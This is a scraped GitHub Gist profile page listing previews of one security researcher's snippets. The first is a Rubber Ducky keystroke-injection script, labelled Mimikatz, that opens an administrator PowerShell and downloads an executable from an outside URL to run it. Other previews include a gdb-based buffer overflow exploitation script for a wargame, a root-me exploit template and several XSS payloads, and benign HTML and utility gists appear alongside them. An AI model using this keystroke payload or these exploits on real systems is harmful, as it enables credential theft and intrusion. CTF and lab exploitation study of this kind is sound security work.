Skip to content

Instantly share code, notes, and snippets.

View Creased's full-sized avatar

Baptiste MOINE Creased

View GitHub Profile
@Creased
Creased / mimikatz.duck
Last active August 7, 2017 19:44
Mimikatz Rubber Ducky script
GUI r
DELAY 500
STRING powershell.exe Start-Process powershell.exe -Verb RunAs
ENTER
DELAY 1500
STRING $Payload = Get-Random
ENTER
STRING Start-BitsTransfer -Source https://go.bmoine.fr/mk -Destination C:\$Payload.exe
ENTER
DELAY 1500
ssh [email protected] # warmup
export TMP=$(mktemp -d)
PATTERN=$(gdb -q -ex 'pattc 250' -ex 'q' | awk -F"'" '{print $2}')
echo "${PATTERN}\n" >${TMP}/inp
OFFSET=$(gdb -q ./level0 -ex 'r <${TMP}/inp' -ex 'patto $eip' -ex 'q' | grep -Eo "found at offset: [0-9]+" | awk -F': ' '{print $2}')
VDSO=$(gdb -q ./level0 -ex 'b main' -ex 'r' -ex 'vmmap vdso' -ex 'q' | tail -n1 | awk '{print $1}' | grep -Eo '0x[A-Fa-f0-9]+' | sed -r 's/(0x)0/\1/')
MPROTECT=$(gdb -q ./level0 -ex 'b main' -ex 'r' -ex 'p mprotect' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+')
READ=$(gdb -q ./level0 -ex 'b main' -ex 'r' -ex 'p read' -ex 'q' | tail -n1 | grep -Eo '0x[A-Fa-f0-9]+')
#!/usr/bin/env python
# -*-coding:Utf-8 -*
# Magic Packet
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.iface='eth1'
@Creased
Creased / description.html
Last active May 18, 2017 09:23
GitLab de Baptiste MOINE
<div style="display: block; text-align: center; margin: 0 auto;" id="description">
<a href="https://www.bmoine.fr/" title="Parcours de professionnalisation - Baptiste MOINE" target="_blank">
<img height="180px" src="https://www.bmoine.fr/assets/images/icon.svg" alt="Logo de Baptiste MOINE">
</a>
<p>Bienvenue sur l'instance GitLab de <a href="http://www.bmoine.fr" title="Baptiste MOINE">Baptiste MOINE</a>.</p>
<p>Sur cette instance, vous trouverez des projets open source sur lesquels je travaille.</p>
<p>Certains projets peuvent ne pas apparaître sur cette instance, mais vous pouvez trouver l'ensemble de mes projets sur <a title="Suivez mes projets opensource sur GitHub" href="https://github.com/Creased">GitHub</a>, <a title="Suivez mes projets opensource sur GitLab" href="https://gitlab.com/Creased">GitLab</a>, <a title="Suivez mes projets opensource sur Docker Hub" href="https://hub.docker.com/r/creased/">Docker Hub</a>, <a title="Suivez mes projets opensource sur IBM Bluemix" hre
@Creased
Creased / xivo_provd_check.py
Last active April 24, 2017 13:15
Xivo provd check
#!/usr/bin/env python
# -*- coding:Utf-8 -*-
#=====================================#
# [+] Title: Xivo provd check #
# [+] Author: Baptiste M. (Creased) #
# [+] Website: bmoine.fr #
# [+] Email: [email protected] #
# [+] Twitter: @Creased_ #
#=====================================#
/*!
* Author: Baptiste MOINE <[email protected]>
* Project: OTP QR-Code Generator
* Homepage: https://vps.bmoine.fr/totp-qrcode/
* Released: 17/04/2017
*
* Based on http://www.herongyang.com/Encoding/Base32-Encoding-Algorithm.html
*
* Base32 encoding process:
* 0. Get input string + remove carriage return and new line;
<!DOCTYPE html [
<!ENTITY lt "<">
<!ENTITY ob "svg">
<!ENTITY at "onload">
<!ENTITY pa "alert">
<!ENTITY va "1">
<!ENTITY gt ">">
<!ENTITY xss "&lt;&ob;/&at;=&pa;(&va;)&gt;">
]>
@Creased
Creased / 0x0.html
Last active July 18, 2023 15:12
prompt(1) to win
"><svg/onload=prompt(1)>
@Creased
Creased / payload
Last active May 3, 2017 12:08
xss payloads
prompt(1)
@Creased
Creased / exploit.py
Created December 9, 2016 15:06
Buffer overflow exploit template
#!/usr/bin/env python
# -*- coding:Utf-8 -*-
#==========================================================#
# [+] Title: Exploitation code for root-me challenge #
# ELF32 - Stack buffer overflow basic 1 #
# [+] Author: Baptiste M. (Creased) #
# [+] Website: bmoine.fr #
# [+] Email: [email protected] #
# [+] Twitter: @Creased_ #